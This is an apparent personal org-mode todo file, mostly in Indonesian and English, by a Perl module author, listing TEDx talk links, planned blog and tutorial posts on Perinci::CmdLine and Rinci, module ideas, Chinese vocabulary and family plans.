urls\nhttp://tedxtalks.ted.com/video/From-zero-to-infinity-a-story-o;search%3Atag%3A%22indonesian%22\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/TEDxJakarta-Dr-Nurul-Taufiqu-Ro\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/TEDxKemang-Gustaff-Iskandar-Pla\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/TEDxBandung-Enda-Nasution-Socia\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/TEDxJakarta-Didik-Nini-Thowok-C\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/TEDxJakarta-Muhammad-Noer-How-t\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/TEDx-Bandung-Budi-Rahardjo\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/TEDxJakarta-Rene-Suhardono-Pass\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/TEDxJakarta-Betti-Alisjahbana-H\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/TEDxJakarta-Anies-Baswedan-Ligh\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/TEDxJakarta-6th-SomeThink-Diffe\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/TEDxJakarta-Ridwan-Kamil-Creati\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/Jaringan-Internet-Today-Tomorro\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/Master-of-Ventriloquist-Jerry-G\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/Food-Photography-Jiewa-Vieri-at\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/TEDxMCU-Ernest-Prakarsa-Being-H\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/TEDxJakarta-Musdah-Muliah-Is-re\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22indonesian%22/video/TEDxJakarta-Zaini-Alif-The-Secr\n* 2watch/ted talks/mandarin [0/1]\n** TODO [2014-05-02 Fri] urls\nhttp://tedxtalks.ted.com/video/at-TEDxYuanZeU-4;search%3Atag%3A%22chinese%22\nhttp://tedxtalks.ted.com/video/Online-My-Life-at-TEDxYuanZeU-2;search%3Atag%3A%22chinese%22\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22mandarin%22/video/at-TEDxXimen-2014-4\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22mandarin%22/video/Chihmou-Shieh-at-TEDxXinyi-2\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22mandarin%22/video/Chen-Ching-Chieh-Li-Cheng-Han-a\nhttp://tedxtalks.ted.com/list/search%3Atag%3A%22mandarin%22/video/Annie-Lin-Meng-Li-TEDxTainan-20\n* 2write [0/0]\n** IDEA [2014-12-15 Sen] ide advent calendar 2015: write about modules i published in 2013 (retroactive man :p)  <2015-11-01 >\n** IDEA [2014-12-15 Sen] ide seri blog: write about perinci tutorial? step by step creating cli apps and (1 app bisa selesai dalam 4-5 artikel/hari misalnya)  <2015-11-01 >\n- very \"self-paced\" (what's the right term here), inget dulu artikel2xnya\n  byterock.\n- utk setiap artikel gw cuma bisa spend 15-30 menit max.\n** IDEA [2014-12-21 Sun] ide seri blog: write about modules which i published but then removed again (duplication, etc)\n** IDEA [2014-03-28 Fri] 2blog: seri tutorial Rinci\n**** (tmp) stuffs to cover\n- cool: mengganti calling convention dari array (positional) jadi named,\n  sebaliknya, dsb\n- cool: creating a command-line utility from any remote API, instantly with no\n  code.\n- cool: App::riap (exploring API like a filesystem)\n**** part 1: it's all about empowering functions\n- \"give me functions and a place to code and i will move the whole world\"\n  (plesetan quote archimedes: Give me a lever and a place to stand and with a\n  lever I will move the whole world.\n- vs oo ... (ramble/rant)\n- at its heart, Rinci is just metadata you add to your functions, by itself it\n  doesn't do anything. you can just write your functions like you used to.\n- first metdata:\n  {v=>1.1, summary=>\"A function to add two numbers\"}, fungsinya: sub add { \$_[0] + \$_[1] }\n- jelasin satu2 apa itu v, a func\n- dan kasih tau terminologynya, property. why use this terminology?\n- result_naked=>1 and args_as\n- note: do you have to put it in a hash (no, DSL, when someone writes it)\n- note: do you have to put it in %SPEC (no, in the database, ...)\n**** the concept of enveloped result\n- empowering sub result (biar bisa diformat lebih mudah, biar bisa add stuffs\n  tanpa break backward compatibility func.*, biar mudah dibawa ke HTTP & API\n  world).\n- mengikuti HTTP, kenapa. sejarah, kompromi...\n- isn't it a drag and wasteful (resource-wise) to have to write [200, \"OK\",\n  \$num] instead of just \$num. Yes, it is, but only if your func is simple like\n  the add() function. for more complex ....\n- why write\n**** the wrapper\n**** the extra properties (i): curry, ...\n**** the extra properties (ii):\n**** documentation\n**** in the beginning was the command-line\n- (kasih covernya cryptonomicon)\n- inilah alasan utama dan pertama kenapa gw mengembangkan the whole Rinci spec\n  and tools. i hate having to separately declare arguments AND getopt::long\n  spec. AND separately document it in the POD. AND separately document the\n  function in POD.\n- you might wonder, why i have so many bin/* scripts with just:\n: Perinci::CmdLine->new(url => \"/Module/func\")->run;\n- what does it do, exactly?\n**** api, api.. (the riap)\n- sebetulnya, pake riap juga.\n**** remote stuffs (kenapa pake url)\n**** beyond perl\nRinci and Riap is not perl specific.\n** IDEA [2014-03-28 Fri] 2blog: daftar environment variable flags\n** TODO [2015-03-12 Kam] 2blog: perl: optimization series: joining per line or small groups of strings twice can be faster\n- kasus: Config::IOD join per line can be 1.5-8x faster\n- this is 'allocating large arrays' vs join/string operation\n** TODO [2015-03-12 Kam] 2blog: perl: ciod & ciodr benchmarks vs Config::INI\n** TODO [2015-01-14 Wed] 2blog: perl: lcpan\n- lagi gak bisa, blogs.perl.org error sejak akhir desember. sucks banget deh bpo\n  ini support-nya, perlmonks.org walaupun statis tapi tetep hidup. berbagai\n  errors di bpo, on the other hand, dibiarkan begitu saja. migrate, migrate,\n  migrate!\n** TODO [2014-12-19 Jum] 2blog: perl: how i produced (Dist::Zilla::Plugin::InsertCodeResult)\n** IDEA [2015-01-04 Min] 2blog: perl: series: advent calendar?: dist::zilla::plugin i write (and some others that others write) that i think are cool\n** IDEA [2015-01-31 Sab] 2blog: perl: series: writing clear programs with perl\n*** ideas\n**** penamaan variable\n- biasakan menggunakan nama variabel yang panjang, contoh ...\n- kadang temp variable itu penting walau pendek, contoh di App::tabify, kalo di\n  perhitungan pake \$Opt{tab_width} terus jadi unwieldy dan mata susah mengikuti,\n  tapi kalo kita ganti pake \$tw jadi lebih singkat.\n** IDEA [2015-02-28 Sab] 2blog: perl: series: borang tutorial\n*** ideas\n- arg_errors & arg_warnings (Rinci 1.1.59)\n- -action & 'check_arg' (Rinci 1.1.59)\n- sub metadata and element submetadata (Rinci 1.1.55 & 1.1.56)\n-\n** TODO [2014-12-19 Jum] 2blog: perl: series: pericmd tutorial\n- each posting is short, like my 2014 perl advent calendar, only spend 10-30\n  minutes creating each post.\n*** posts\n**** [2015-01-30] pericmd 001: Creating command-line application with Perinci::CmdLine (introduction)\n**** [2015-01-31] pericmd 002: Getopt::Long\n**** [2015-02-01] pericmd 003: What's wrong with Getopt::Long\n**** [2015-02-02] pericmd 004: What's wrong with Getopt::Long (2)\n**** [2015-02-04] pericmd 005: Getopt::Long::Descriptive\n**** [2015-02-05] pericmd 006: Naming of App module and distribution\n**** [2015-02-06] pericmd 007: Picking a good abstract for application module\n**** [2015-02-07] pericmd 008: Basic structure of a CLI application (Getopt::Long)\n**** [2015-02-08] pericmd 009: Avoiding repetitions\n**** [2015-02-10] pericmd 010: Basic structure of a CLI application (Perinci::CmdLine)\n**** [2015-02-12] pericmd 011: Give me functions and I will move the world\n**** [2015-02-13] pericmd 012: Rinci metadata (v, summary)\n**** [2015-02-14] pericmd 013: Enveloped result, --format\n**** [2015-02-15] pericmd 014: description, alt.lang\n**** [2015-02-16] pericmd 015: args\n**** [2015-02-17] pericmd 016: --foo-bar vs --foo_bar\n**** [2015-02-18] pericmd 017: Using command-line options and arguments\n**** [2015-02-19] pericmd 018: More on default values\n**** [2015-02-20] pericmd 019: More on cmdline_aliases\n**** [2015-02-21] pericmd 020: Schemas\n**** [2015-02-22] pericmd 021: Formatting output\n**** [2015-02-23] pericmd 022: Tab completion\n**** [2015-02-25] pericmd 023: Subcommands\n- 'pause' as example\n**** [2015-02-26] pericmd 024: Getopt::Long::Subcommand\n**** [2015-02-27] pericmd 025: Dynamic list of subcommands\n**** [2015-02-28] pericmd 026: Configuration file support\n- with subcommands\n- with profiles\n- customize path\n- --no-config\n**** [2015-03-01] pericmd 027: Configuration file support (2)\n- complex/data structure like hash/array (demos IOD)\n**** [2015-03-02] pericmd 028: Environment support\n**** [2015-03-03] pericmd 029: More on tab completion (1)\n- basics usage: pericmd completing option names and option values from schema\n- completion routine\n- testcomp\n**** [2015-03-04] pericmd 030: More on tab completion (2): Completing arguments, element_completion\n**** [2015-03-05] pericmd 031: More on tab completion (3): Case sensitivity\n**** [2015-03-06] pericmd 032: More on tab completion (4): Completing paths\n**** [2015-03-07] pericmd 033: More on tab completion (5): Hash answer\n**** [2015-03-08] pericmd 034: More on tab completion (6): Completion modules\n**** [2015-03-09] pericmd 035: Common options\n**** [2015-03-10] pericmd 036: More on tab completion (7): --config-profile\n**** [2015-03-11] pericmd 037: More on tab completion (8): x.schema.entity\n**** [2015-03-12] pericmd 038: Getopt::Long::Complete\n**** [2015-03-13] pericmd 039: Creating API-friendly CLI applications with parseable outputs\n**** [2015-03-14] pericmd 040: Riap\n**** [2015-03-15] pericmd 041: Riap::Simple\n**** [2015-03-16] pericmd 042: Using functions from other languages\n**** [2015-03-17] pericmd 043: Generating CLI applications (App::GenPericmdScript)\n**** [2015-03-18] pericmd 044: Customizing output\n- cmdline.default_format\n**** [2015-03-19] pericmd 045: Customizing table output (1)\n**** [2015-03-20] pericmd 046: Customizing table output (2)\n**** [2015-03-21] pericmd 047: Special arguments (1): dry_run\n*** plans/ideas\n**** case study: ~*utils~ (tab completion, returning multistatus/using periobj)\n**** case study: rmhere (progress bar)\n**** working with oo-based module?\n**** handling clash between function arguments and common options (or: how exactly function arguments + common options are translated into option names and config names)\n**** Nice ux feature: arg 'files' -> --file\n**** Special arguments (2): -cmdline*\n- dibahasnya setelah kita membahas cmdline_src\n- -cmdline, -cmdline_r\n- -cmdline_src_ARG, -cmdline_srcfilename_ARG, -cmdline_srcfilenames_ARG\n**** Debugging\n- Log::Any\n- --verbose, --debug, --quiet, --trace\n- some discussions about tags ([pericmd], [comp], [periscomp],  ... )\n- basic flow of the app\n- adding your own logging statements, in the script, in the module\n**** Riap::HTTP\n**** !case study: pause\n- about the app: it's handy, since I wrote this cli, i almost never have to go\n  to the web interface any more. unix-like (ls, ls -l, rm, wildcard ...). 2 yang\n  paling sering adalah upload files (after i work and produce the tarballs\n  offline). kapan diquote kapan ga boleh diquote. it works by scraping the\n  PAUSE website.\n- sudah pernah dibahas di pericmd 023 (subcommands)\n- use of DZP::Rinci::Wrap\n- dibahas lagi di pericmd 028 (penggunaan PAUSE_OPT)\n***** Schemas: automatic validation using DZP::Rinci::Wrap (+pericmd-lite)\n- perlu menerangkan dulu how pericmd-classic works (by using peria, and then\n  periswrap)\n- pros:\n  - low the startup cost (compared to pericmd-classic)\n  - avoid modifying line numbers\n**** conclusion\nby using Perinci::CmdLine, you get:\n- automatic help message\n- automatic version --version\n- command-line parsing, including for complex argument (json, )\n- configuration file support (pericmd 026, 027)\n- environment (PROG_OPT) support (pericmd 028)\n- subcommands (pericmd 023, 025)\n- rich tab completion (pericmd ...)\n- formatting of data structure result, including as JSON and other formats (pericmd 021)\n- remote functions support\n\nand with the other tools:\n- automatic validation\n- automatic activation of tab completion\n- automatic pod generation\n**** !case study: fatten\n- dibahas di pericmd 027 (tentang choosing profile dan array options like\n  'include')\n- choosing profile automatically\n**** cmdline_src\n- stdin_or_files\n- stdin\n- file\n- stdin_line\n**** Tab completion (2): shcompgen\n**** Table spec/data and customizing column order\n**** Table spec/data and customizing column order [Classic]\n**** adding a new output format [Classic]\n**** review Docopt\n**** review thor (Ruby)\n**** review mow.cli\n**** review App::Cmd\n**** review MooX::Cmd and MooX::Options (and the Moose counterparts)\n**** case study: App::lcpan\n- completion\n**** case study: Git::Bunch\n- note: one of the first scripts to use Perinci::CmdLine\n- deps\n- progress bar\n**** case study: App::PMUtils\n- completion\n- dibahas di pericmd 032\n**** case study: App::SetScreensaverTimeout\n**** perisgen-acctbl\n**** case study: list-id-holidays\n**** case study: App-wordlist\n- automatic script generator\n**** case study: ...\n**** default subcommand\n- use case: growing from a single subcommand to a multi subcommand without\n  breaking. gunakan default subcommand. contoh kasus fatten, gw mau nambah test,\n  ini action berbeda.\n**** [Classic] undo/transaction\n**** [Classic]\n**** args_groups\n**** streaming input (Rinci 1.1.71)\n**** streaming output (Rinci 1.1.71)\n**** links in arg spec (Rinci 1.1.70)\n**** partial arg (Rinci 1.1.67)\n**** Using status 207 (Rinci 1.1.63)\n**** Using status 201 (Rinci 1.1.63)\n**** Binary data\n- if you notice the exclusive use of JSON in Riap::Simple, you'll realize the\n  problem with passing binary data. Since JSON is UTF-8 only, it does not handle\n  binary data. Thus, ...\n**** Using Perinci::Object\n**** perm_err (Rinci 1.1.54)\n**** cmdline_prompt, is_password (Rinci 1.1.53)\n**** deps (including pkg & func, introduced in 1.1.48)\n- example:\n  + deps to exec (or should it be prog?) 'fatpack' in fatten\n  + ...\n- currently classic only\n**** cmdline_on_getopt (1.1.43)\n**** delete (1.1.42)\n**** func.* (1.1.40)\nwith use case of returning extra infomration and avoiding breaking changes\n**** examples\n- pwp-ri\n- src, src_plang\n**** status 44x, 54x (1.1.34)\n**** status 331 (1.1.27)\n**** tags for arguments\n*** ideas\n- after this series, continue with tutorial on creating network/API services\n  with peri tools\n** TODO [2014-04-09 Rab] 2blog: perl: perl pain points\n- no clone() function that's core/builtin, robust, and general enough\n  + Storable::dclone? core, but no support for regexp objects, coderefs (there\n    is Deparse but it can fail and it shouldn't do Deparse at all in the first\n    place just for cloning). and, it's probably not as fast as it should because\n    it's freeze + thaw.\n  + Clone, Clone::PP: Clone::PP not core\n  + Data::Clone? not core.\n  + Sereal? not core.\n- log ::\n  + blogged under \"Things that are so last {decade,centry} and annoying that I\n    recently encountered\"\n** TODO [2014-03-01 Sab] 2blog: tendency to go overboard when refactoring, how to solve?\n- find it hard to stick to one change per commit, drive-by refactoring, whenever\n  i see something i immediately want to change it just for the sake of change?\n  or i make so many technical debts that there is always something to fix\n- my current:\n  + usage of one or two letter temp variables, this admittedly makes it a bit\n    harder to understand the code after months\n** DONE [2014-02-18 Tue] 2blog: perl: things we don't have #2\n- VFS stuffs:\n  - kioslave to allow us to create a kioslave. python has it:\n    http://www.boddie.org.uk/david/Projects/Python/KDE/\n  - or even to access a resource using the kio framework. python has both.\n  - ruby has KIO::SlaveBase to let us create kio slave\n  - kde bindings for perl project (https://code.google.com/p/perlqt4/) also\n    seems lagged/stopped\n  - how about something similar to KIOSlave (or GnomeVFS/GVFS/GIO)? if you\n    search vfs on CPAN you'll find basically nothing worth mentioning. searching\n    kio, gio, gvfs also return nothing.\n  - the closest one seems to be IO::All, but there's no async or write stuffs.\n  - no interface to libferris too (but libferris itself is not yet widely\n    used/available on linux distributions, it seems).\n  - well there is some FUSE stuff at least\n** IDEA [2014-01-02 Thu] 2blog: principles of good non-REST (REST-less) API design\n- eneg gw baca principles of good RESTful API design mulu, ada banyak banget.\n- believe it or not, it's not all about the web, perhatikan juga jika kode kita\n  dipanggil secara RPC dari program for program. gak harus lewat http, bisa juga\n  directly in-process atau inteprocess locally.\n- jadi JSON kadang terlalu limiting, no circulars, no object, no inf/nan, ...\n- don't couple your status with http server's status. this irks me the most. how\n  would you differentiate 404 ... service have been moved, or item is actually\n  not found. if you get 500 or 50x, is it from the API server, web server, proxy,\n** DONE [2013-11-13 Wed] 2blog: App::norepeat, App::ExecIf (bagian dari seri obvious things)\n- harusnya ada deh existing solution, but for some reason i couldn't find it.\n- log:\n  + [2014-02-19 Wed] done\n** TODO [2013-10-16 Rab] 2blog: perl: output list-personal-notes-in-my-perl-release-Changes\n- apa aja personal notes yang udah gw katakan di Changes gw?\n** TODO [2012-11-27 Tue] 2blog: introducing sah: a fast and featureful data validation\n- the problem with existing data validation modules: not generic enough, not\n  fast enough, not lazy enough. i want to validate my data models [and convert\n  it to SQL], validate my forms [and convert it to js], most function parameters\n  (so they need to be *fast*, in the order of hundreds of thousands/sec and not\n  just thousands/sec). lazy: i want it to generate js and human description text\n  for me. other features usually missing: translation support. oh and i also\n  want nice/compact syntax please (also from laziness to type). i don't want to\n  write {type=>\"int\", required=>1} 100 times when i can just write \"int\" or\n  \"int*\".\n- created data::schema in 2009 but it was intepreted and slow (up to only low\n  hundreds/sec for just moderately complex schema). put it compilation. after\n  rethinking syntax and ditching the intepreted code, rename to data::sah, split\n  specification to its own doc (vision is to allow other implementations).\n- speednya setara or slightly faster than Params::Validate, but richer with more\n  features.\n** TODO [2012-11-27 Tue] 2blog: introducing perinci modules family\n- i actually have mentioned it a couple of times in previous blog posts, but\n  since data::sah implementation was still missing, ...\n- this is a formal introductory post\n- perinci it is a set\n- problem with existing config options, not lazy enough.\n\n** TODO [2011-12-20 Tue] 2blog: penamaan file utk podcast\n- beri prefix, mis: lmp- untuk sorting file, utk membedakan (browser download\n  folder kan nyatu biasanya), utk mp3 player yang folder/filesystem view\n- prefix jangan panjang2x, supaya gak scrolling terlalu lama utk mp3 player yang\n  ekcil2x yg displaynya hanya sebaris (atau utk samsung s wifi dll juga suka ga\n  bisa scrolling ke kanan)\n- *sebaiknya* ada date biar tau kapan disiarkannya, buat sorting juga (by date).\n  atau nomor episode (better, both?). biar tau koleksi kita lengkap gak, ada yg\n  kelewat gak.\n- kode episode juga jangan panjang2x (poin 2), kita harus bisa liat judul podcast.\n- bad: lmp-20111202.mp3, sebaiknya: lmp-20111202.mp3 or perhaps\n  lmp-why-is-foo-bad-20111202.mp3. why-is-foo-bad.mp3 (podcast mana?)\n- [format, not naming] use mp3, sebagian mp3 player murah gak bisa m4a, dsb.\n** DONE 2blog: undoable era! :)\n- u-symlink\n- u-trash\n- [2012-07-27 Fri] done.\n** DONE 2blog: perl module ideas #3\n- RSS::Mention::CPAN::Module\n- Blog::Spam tapi yang untuk registration\n** DONE 2blog: module wishlist #1\n- DateTime->from_ymd()\n- parallel cpanm. there's been requests to parallelize process for speed, but i\n  guess adding that to cpanm directly will complicate stuffs, probably different\n  wrapper.\n** DONE [2012-07-20 Fri] 2blog: wishlist for perl-related websites #1\n- cpanratings: comment on a review\n- metacpan: view details of a ++ score. for starters, list of users who ++'ed\n  the distribution.\n- metacpan: list a user's favorite distributions. for starters, list *my*\n  favorite distributions.\n- metacpan: show ++ score (and number of reviews) on author's page.\n- metacpan: count number of downloads.\n** DONE [2012-07-10 Tue] 2blog: perl module ideas #4\n:LOGBOOK:\n- [2012-07-13 Fri] blogged\n:END:\n- JSON::Color, YAML::Color. I'm loving colors on the terminal, so after <a\n  href=\"http://metacpan.org/release/Log-Any-App\">Log::Any::App</a> and <a\n  href=\"http://metacpan.org/release/Data-Dump-Color\">Data::Dump::Color</a>, I'm\n  wanting to dump JSON, YAML, and ASCII tables in color. or perhaps using HTML\n  -> ANSI converter (HTML::FromANSI in reverse).\n\n  atau bisa juga menggunakan text-based browser yang support color, mis links2.\n\n- Compress::smaz. interface to <a\n  href=\"https://github.com/antirez/smaz\">smaz</a> compression library. Might be\n  useful someday since I deal with language text a lot.\n- in a similar spirit like RSS::Mention::CPAN::Module (another previous idea\n  which can let a CPAN author be notified if there is someone mentioning their\n  CPAN module on the internet/twitter), RSS::CPAN::ReverseDepends which can let\n  CPAN author module if there is a new module on CPAN that depends on one of his\n  module.\n** TODO [2012-07-13 Fri] 2blog: perl module ideas #5\n- dzil plugin to insert/replace copyright year (or set default copyright_year\n  from changes). it might not be continuous.\n- following pwp-changes, how about other podweaver plugin to add information in\n  distribution files but not available locally to users after installation (e.g.\n  dependencies, from dist.ini or META.{yml,json}). into POD (either directly in\n  main module's POD or a separated POD).\n** TODO [2012-08-02 Thu] 2blog: perl module ideas #6\n- dari #5, not make it\n  - Data::Style: \"css\" for data structures. the concept is to have a separate\n  document containing instructions on how to format/display a data structure.\n  ternyata ini udah ada, namanya XSL / XSLT (xml stylesheet), lihat modul perl\n  XML::XSS. alternatif name: DSS (Data [structure] Style Sheet)? Data::DSS?\n\nXSL = extensible stylesheet language\nXSLT = extensible stylesheet language transformations (tetep declarative kok)\n\ntujuannya utk transform XML document to other XML documents or to HTML, etc.\n\nkurang lebih ya mirip2x css atau dpath + instruksi transformasi, hanya saja\nditulis dalam XML jadi gitu deh.\n\ncontoh:\n\nearly \"implementation\" ada di Data-Format-Pretty-Console: table_column_styles\n/bin/bash: perltidy: command not found\n.\n\n  - XSLT untuk data structure, menggunakan DPath lalu declarative. contoh gw ingin mengubah tabel\n\n: [ {a=>11, b=>12, c=>13},\n:   {a=>21,        c=>23},\n:   {a=>31, b=>32, c=>33},\n:   {a=>41, b=>42, c=>43}, ]\n\nmenjadi:\n\n: [ [11, 12, 13],\n:   [21, undef, 23],\n:   [31, 32, 33],\n:   [41, 42, 43] ]\n\nsaat ini utk select elements sudah bisa dengan dpath, mis: \"//c\" utk select isi\nkolom c, atau \"/*/c\". harusnya bisa juga dengan sintaks mirip2x gini:\n\n: [[/a, /b, /c] for /*] for /*\n\ncontoh lain:\n\n: [ [110, 120, 130],\n:   [210, undef, 230],\n:   [310, 320, 330],\n:   [410, 420, 430] ]\n\nkata kunci: DTL, XDTL, XSLT, XQuery, XProc, awk (yes, awk!)\n\nhttp://en.wikipedia.org/wiki/XML_transformation_language\n\natau bisa juga (at least utk list dan tabel 2 dimensi) kita menggunakan konsep\nunix toolbox dan pipe. ada fungsix tail(), head(), cut(), filter(), sort(), ...\n\n  - (note: utk data tabel atau list, gw udah bikin Data::Unixish).\n** TODO [2012-07-13 Fri] 2blog: perl modules benchmark ideas #1\n- autobox::Core -> i might care to use it if it's fast enough\n- various ascii text table generators\n- various data::dpath-like (DOM / CSS-style selector) for data structure\n  + Data::DPath -> 24k lines startup overhead\n    - lebih cocok utk data structure (nested hash/array) ketimbang xml, karena\n      di xml itu, element punya order (gak seperti hash keys) dan multiple\n      elements on the same level is allowed (unlike in hashes), ada attribute\n      (gak perlu di perl). tapi dpath bisa handle blessed. xml punya namespace.\n      array start in 1 in xpath.\n      yang paling deket css selector style ya ini.\n  + Data::Path (saingan Data::DPath). 0,8k startup overhead. tapi udah gak\n    diupdate, sintaksnya juga lebih limited. no proper quoting (can't select\n    hash keys with special characters).\n  + Data::XPath (xpath is just a syntax, banyak dipake utk berbagai keperluan,\n    ada modul utk Pod::XPath, XML::XPath (obviously), PPIx::XPath, B::XPath\n    (search Perl optrees using XPath syntax), File:Find::Rule::XPath, dll.\n  + Hash::Path, sangat simple, cuma \"a b c\" utk get \"/a/b/c\"\n\nsome examples of data::dpath exprssions:\n\n** CANCELLED 2blog: personal report (hacktivity report) akhir taun <2013-12-31 Tue +1y -7d>\n   - State \"DONE\"       from \"WISHLIST\"   [2012-12-28 ]\n   :PROPERTIES:\n   :LAST_REPEAT: [2013-01-11 Fri 16:08]\n   :END:\n- [2012-12-24 Mon] omg, gw udah ranking 4 sekarang dari jumlah distribution, di\n  bawah RJBS, ADAMK, dan ZOFFIX. gw udah di atas MIYAGAWA. jadi gak enak ya, gw\n  terlalu menonjol? gw bikin laporannya private aja deh.\n- [2012-12-26 Wed] tetep diblog aja deh, ini harus konsisten.\n- log:\n  + [2014-02-28 Fri] dicancel/pending dulu.\n** CANCELLED 2blog: personal report (hacktivity report) quarterly (1st quarter) <2014-04-01 Tue +1y -7d>\n   - State \"DONE\"       from \"WISHLIST\"   [2013-04-12 Fri 17:43]\n   :PROPERTIES:\n   :LAST_REPEAT: [2013-04-12 Fri 17:43]\n   :END:\n- log:\n  + [2014-02-28 Fri] dicancel/pending dulu.\n** CANCELLED 2blog: personal report (hacktivity report) quarterly (2nd quarter) <2014-07-01 Tue +1y -7d>\n   - State \"DONE\"       from \"WISHLIST\"   [2013-07-11 Thu 19:06]\n   :PROPERTIES:\n   :LAST_REPEAT: [2013-07-11 Thu 19:06]\n   :END:\n- log:\n  + [2014-02-28 Fri] dicancel/pending dulu.\n** CANCELLED 2blog: personal report (hacktivity report) quarterly (3rd quarter) <2014-10-01 Rab +1y -7d>\n   - State \"DONE\"       from \"WISHLIST\"   [2013-10-31 Kam 21:13]\n   :PROPERTIES:\n   :LAST_REPEAT: [2013-10-31 Kam 21:13]\n   :END:\n- log:\n  + [2014-02-28 Fri] dicancel/pending dulu.\n** TODO [2012-07-04 Wed] 2blog: comparison of ascii-table generating module\n- contenders:\n  + Data::ShowTable (DST)\n  + Text::ASCIITable (TAT)\n  + Text::TabularDisplay\n  + ...?\n- html support? DST+\n- ansi color + box characters: TAT+ tapi very manual/painful, + limited support,\n  i want to change border color of each column gak bisa, background (<td color>)\n  harus manual print escape codes sendiri. wishlist!\n- speed?\n- interface?\n- [2014-02-28 Fri] udah ada ansitable dong :p\n** TODO [2013-11-02 Sab] 2blog: things we have #1: marpa\n** TODO [2014-09-21 Sun] 2blog: \"poor man's\" exception in perl\ndie pakai die \$obj (karena die bisa accept references). object overload\nstringification supaya perl bisa menampilkan human-readable error message\ninstead of Foo::Bar=HASH(0x12345678).\n\neval untuk try.\n\nthat's it.\n\ntapi:\n\n: package Err;\n: use overload q[\"\"] => sub { \"ERROR \$_[0]->[0]: \$_[0]->[1]\" };\n: sub new {my \$class=shift; bless \$_[0], \$class}\n: package main;\n: use Carp::Always;\n: sub somefunc { die Err->new([200,\"OK\"]) }\n: somefunc();\n\nCarp::Always jadi gak bekerja di sini?\n** CANCELLED TODO [2014-08-03 Min] book review: ringworld\n- log ::\n  + [2015-01-04 Min] cancel, gak sempet. udah dibaca awal agustus lalu.\n** TODO [2014-06-27 Fri] 2write/2blog: my tips for ledger files\n- if you emacs, ledger-mode. i use accounts with all-lowercase so it's more\n  convenient to type:\n\n:  assets:cash:wallet\n:  a<tab>:c<tab>:w<tab>\n\ncompare with (you have to press Shift a lot)\n\n: Assets:Cash:Wallet\n\n- sometimes M-/ (dabbrev-expand) helps too for completing prices (from nearest\n  previous/subsequent transaction)\n* 2zh-words [0/0]\n- zhwords nonton serial singapore 29sep14 \xE9\x95\xBF\xE5\x91\xBD\xE5\xAF\x8C\xE8\xB4\xB5 \xE6\xB4\xBB\xE8\xB9\xA6\xE4\xB9\xB1\xE8\xB7\xB3\n- zhwords nonton serial singapore 18sep14 \xE9\xA9\xBE\xE9\xA9\xB6\xE8\xAF\x81 \xE6\x97\xA9\xE7\x94\x9F\xE8\xB4\xB5\xE5\xAD\x90 \xE7\xBB\x9D\xE6\x8B\x9B \xE4\xB8\x80\xE6\x97\xA0\xE6\x89\x80*\n- [2014-10-04 Sab] clockwise & counter-clockwise, all's fair in love & war, liquor,\n- [2014-10-08 Rab] great grandson, great grandmother/father, nail, manicure,\n  medicure.\n- [2014-09-21 ] zhwords 21sep \xE5\xA4\x9F\xE6\x94\xB6\xE5\xAE\xB9 \xE6\x94\xB6\xE5\xAE\xB9 \xE8\xBF\xB7\xE8\xBF\xAD\xE9\xA6\x99 \xE8\xB7\x91\xE8\xBD\xA6 \xE5\x90\x8D\xE8\xB4\xB5\xE8\xB7\x91\xE8\xBD\xA6\n* etc [3/3]\n** TODO [2014-09-25 Thu] rutin mulai spend 1 jam sehari utk bersihin/lakukan todo lists\n** TODO [2014-09-25 Thu] health: mulai rutin lakukan 5-minute break every 1 hour of work sitting\n- katanya bisa mengcounter efek buruk duduk terlalu lama.\n** DONE [2014-07-27 Min] autologout shell (terutama di virtual console)\n- log ::\n  + [2014-07-27 Min] done, dengan mengeset TMOUT (cek dulu DISPLAY)\n** DONE datang di acara reuni 20th aloy'94  <2014-07-19 Aaa -7d>\n- bayar 170rb (dewasa 2 orang), acara di bumi sangkuriang kiputih, 1 jam misa,\n  sisanya ramah tamah.\n** DONE datang di acara reuni 20th tk94  <2014-08-10 Aaa -10d>\n- bayar 500rb (1 kaos + cofee break 300rb + 100rb acara), acara di mason pine\n  kotbar (sabtu malem + minggu pagi, tapi gw ikutan yg minggu paginya aja)\n* family/children (parenting) [0/1]\n** IDEA [2015-04-08 Wed] suruh anak tulis surat permintaan maaf jika salah\n- ide dari artikel di mashable yang gw liat hari ini.\n- contoh: muntah di toko es krim ben & jerry's, lalu si anak disuruh ngirim post\n  card dengan ucapan maaf yang lucu/empatik/tulus/cute.\n** IDEA [2014-08-06 Wed] kasih anak gimbot or the simplest gadgets dulu :parenting:\n- ketimbang langsung tablet/laptop\n- juga, suruh anak kenal laptop/keyboard dulu ketimbang touch interface\n- gw suka jika anak gw beda dari yang lainnya, kreatif, supaya dia punya\n  pemikiran yang unik dan pikirannya bisa kepake dalam tim sebagai salah satu\n  masukan, mikirnya gak sama seperti semua orang lain.\n- dan tentunya, sebelum gimbot/electronics, kenalkan dia pada physical things\n  seperti buku dan mainan fisik (mobil2an dll).\n- soal pikiran2 nyleneh, aneh, non-mainstream, itu rada gampang. gw papanya juga\n  kayak gitu, banyak2 interaksi dengan gw aja, maka ntar kebawa2x.\n* family/vacation [0/0]\n** IDEA [2014-10-07 Tue] reading vacation\n- kerjanya baca doang\n** IDEA [2014-11-14 Fri] vacation keluarga: nyobain naik kereta api ke kota2x kelas 2-3 gitu macam tegal, pekalongan, 